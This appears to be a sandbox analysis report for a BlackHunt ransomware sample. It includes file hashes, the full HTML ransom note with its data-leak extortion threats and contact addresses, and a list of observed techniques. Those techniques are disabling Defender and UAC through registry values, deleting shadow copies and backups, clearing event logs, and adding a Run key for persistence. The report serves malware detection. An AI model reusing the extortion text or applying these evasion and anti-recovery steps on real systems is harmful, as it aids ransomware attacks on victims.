a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e

Analysis

max time kernel
118s
max time network
119s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
19/01/2024, 00:22

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General

Target

a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
Size

707KB
MD5

d7fac604f14e731eeb5c39b3d67bddbd
SHA1

1a61157ea64104c9ca2a4f85ada71c42807f03c6
SHA256

a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e
SHA512

c8f07b63ed72fc5aed6dd89fc04b3a090ba359e352e254db41ea1c3ffa294e9ad10203e33c7283a803eae4d79efd15e920ab75fc4538f697458c18b629f3dd19
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1W89vnh:6uaTmkZJ+naie5OTamgEoKxLWFJh

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\Program Files\7-Zip\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> 5PjfB5CwCPXIRXSW </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
2028	fsutil.exe
2180	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
3664	wevtutil.exe
3348	wevtutil.exe
2516	wevtutil.exe
1308	wevtutil.exe
3980	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
2704	bcdedit.exe
1720	bcdedit.exe
3508	bcdedit.exe
4012	bcdedit.exe

Renames multiple (2902) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2980	wbadmin.exe
1984	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Deletes itself 1 IoCs

pid	Process
3680	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\T:	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File opened (read-only)	\??\O:	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File opened (read-only)	\??\M:	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File opened (read-only)	\??\A:	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File opened (read-only)	\??\J:	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File opened (read-only)	\??\Q:	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File opened (read-only)	\??\G:	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File opened (read-only)	\??\L:	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File opened (read-only)	\??\N:	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\U:	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File opened (read-only)	\??\X:	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File opened (read-only)	\??\B:	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File opened (read-only)	\??\W:	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File opened (read-only)	\??\R:	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File opened (read-only)	\??\Y:	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File opened (read-only)	\??\I:	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File opened (read-only)	\??\P:	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File opened (read-only)	\??\H:	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File opened (read-only)	\??\K:	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File opened (read-only)	\??\S:	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File opened (read-only)	\??\Z:	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\E:	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File opened (read-only)	\??\V:	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\F:	fsutil.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\images\cursors\win32_CopyNoDrop32x32.gif	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-swing-outline.jar	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler-heapwalker_ja.jar	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\#BlackHunt_Private.key	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\TravelIntroToMain_PAL.wmv	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ku-ckb.txt	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\Perf_Scenes_Subpicture1.png	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\Passport_PAL.wmv	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\org-netbeans-modules-profiler-heapwalker.jar	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\usa37.hyp	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File opened for modification	C:\Program Files\7-Zip\descript.ion	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Pets_notes-txt-background.png	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.core\cache\#BlackHunt_ReadMe.hta	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Australia\Broken_Hill	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\sk\#BlackHunt_ReadMe.txt	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File opened for modification	C:\Program Files\7-Zip\Lang\fa.txt	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File opened for modification	C:\Program Files\InstallMerge.crw	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\WET	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ar\#BlackHunt_ReadMe.hta	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Santa_Isabel	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Pacific\Rarotonga	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\ROMANIAN.TXT	a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
